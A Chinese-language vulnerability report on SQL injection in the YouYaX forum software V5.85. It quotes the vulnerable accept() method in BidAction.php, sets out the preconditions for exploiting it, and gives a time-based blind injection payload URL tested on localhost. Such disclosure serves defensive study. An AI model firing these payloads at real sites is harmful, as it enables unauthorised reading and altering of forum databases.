Youyax最新版(V5.85)注入一枚

漏洞作者: SLAckEr

大半夜来提交洞了,快凌晨2点了,蛋碎。
看文件/Lib/BidAction.php 13-35行

[php]

public function accept()

{

$id = getparam("id");

$id2 = getparam("id2");

$reply = $this->find(C('db_prefix') . "reply", "string", "id2='" . $id2 . "' and rid='" . $id . "'");

if ($reply) {

$talk = $this->find(C('db_prefix') . "talk", "string", "id='" . $id . "'");

if ($talk) {

if (($talk['zuozhe'] == $_SESSION['youyax_user']) && ($talk['is_question'] == 1)) {

mysql_query("update " . C('db_prefix') . "reply set content1=CONCAT('<div style=\'border: 1px solid #ff999a;background: #fbeded;padding: 10px;\'><h3 style=\'background-image: url(" . C('SITE') . "/Public/images/medals.gif);background-repeat: no-repeat;padding-left: 50px;border: 0;height: 60px;line-height: 60px;\'>采纳的答案</h3>',content1,'</div>') where id2=" . $id2);

mysql_query("update " . C('db_prefix') . "talk set lock_status=1 where id=$id");

mysql_query("update " . C('db_prefix') . "user set bid=bid+" . $talk['question_bid'] . " where user='" . $reply['zuozhe1'] . "'");

$this->redirect("Content" . C('default_url') . "index" . C('default_url') . "id" . C('default_url') . $id . C('static_url'));

} else {

$this->error();

}

} else {

$this->error();

}

} else {

$this->error();

}

}

[/php]

注意这里

[php]

mysql_query("update " . C('db_prefix') . "reply set content1=CONCAT('<div style=\'border: 1px solid #ff999a;background: #fbeded;padding: 10px;\'><h3 style=\'background-image: url(" . C('SITE') . "/Public/images/medals.gif);background-repeat: no-repeat;padding-left: 50px;border: 0;height: 60px;line-height: 60px;\'>采纳的答案</h3>',content1,'</div>') where id2=" . $id2);

[/php]

[php]

mysql_query("update " . C('db_prefix') . "talk set lock_status=1 where id=$id");

[/php]

能看出来id和id2这2个参数是没经过过滤就直接带入了update.

那么下面分析如何才能实现这个利用

看这句

 

[php]

if (($talk['zuozhe'] == $_SESSION['youyax_user']) && ($talk['is_question'] == 1))

[/php]

如果从上面过来的talk表里面的作者跟当前session的作者是同一人,并且发的帖子需要是一个提问帖,is_question就是来判断是否为提问帖。

漏洞证明:

看利用,

首先注册一个号。发布一个提问帖

18015816e70c6c5d650ca047e8ef118aef921185

 

然后记下当前帖子的id,现在是4

1801590015902588fe0dfcc97c431b9793d2b471

 

自己随便回复一个,记下回复的id,,这个如何找到呢?把鼠标移到编辑那里就能晓得了

18020000c4e853298f2cf0a4ee5e8c517ada158b

 

当前是5.

看了下数据库的结构,在源码中id传给了rid也就是帖子的id,所以id=4

id2回复的id也就是5

访问http://127.0.0.1/YouYaX/index.php/bid/accept/id/4/id2/5.html

当前这两个参数都是可以注入的。

18020323b8a2d116a679587be040bab6884e2eea

[php]

2014/10/18 2:02 update youyax_reply set content1=CONCAT('<div style=\'border: 1px solid #ff999a;background: #fbeded;padding: 10px;\'><h3 style=\'background-image: url(http://127.0.0.1/YouYaX/Public/images/medals.gif);background-repeat: no-repeat;padding-left: 50px;border: 0;height: 60px;line-height: 60px;\'>采纳的答案</h3>',content1,'</div>') where id2=5

[/php]

没有回显,就盲注,

http://127.0.0.1/YouYaX/index.php/bid/accept/id/4/id2/5 AND 1111=IF((select length(database())=2),SLEEP(5),1111).html

 

180208083a828a6aad94403569760b0232db4917

 

如果猜解正确的话 浏览器转5秒返回页面,如果长度猜解错误,则直接返回页面。

如果猜解正确的话,页面会返回正确,如果猜解错误,则采纳的答案就会多一条,看图

180210527ebe0839eb6188305139bc50a61d4a61

 

180211333ccd7a71b632e2df5d8e3a820cf3527f

发表评论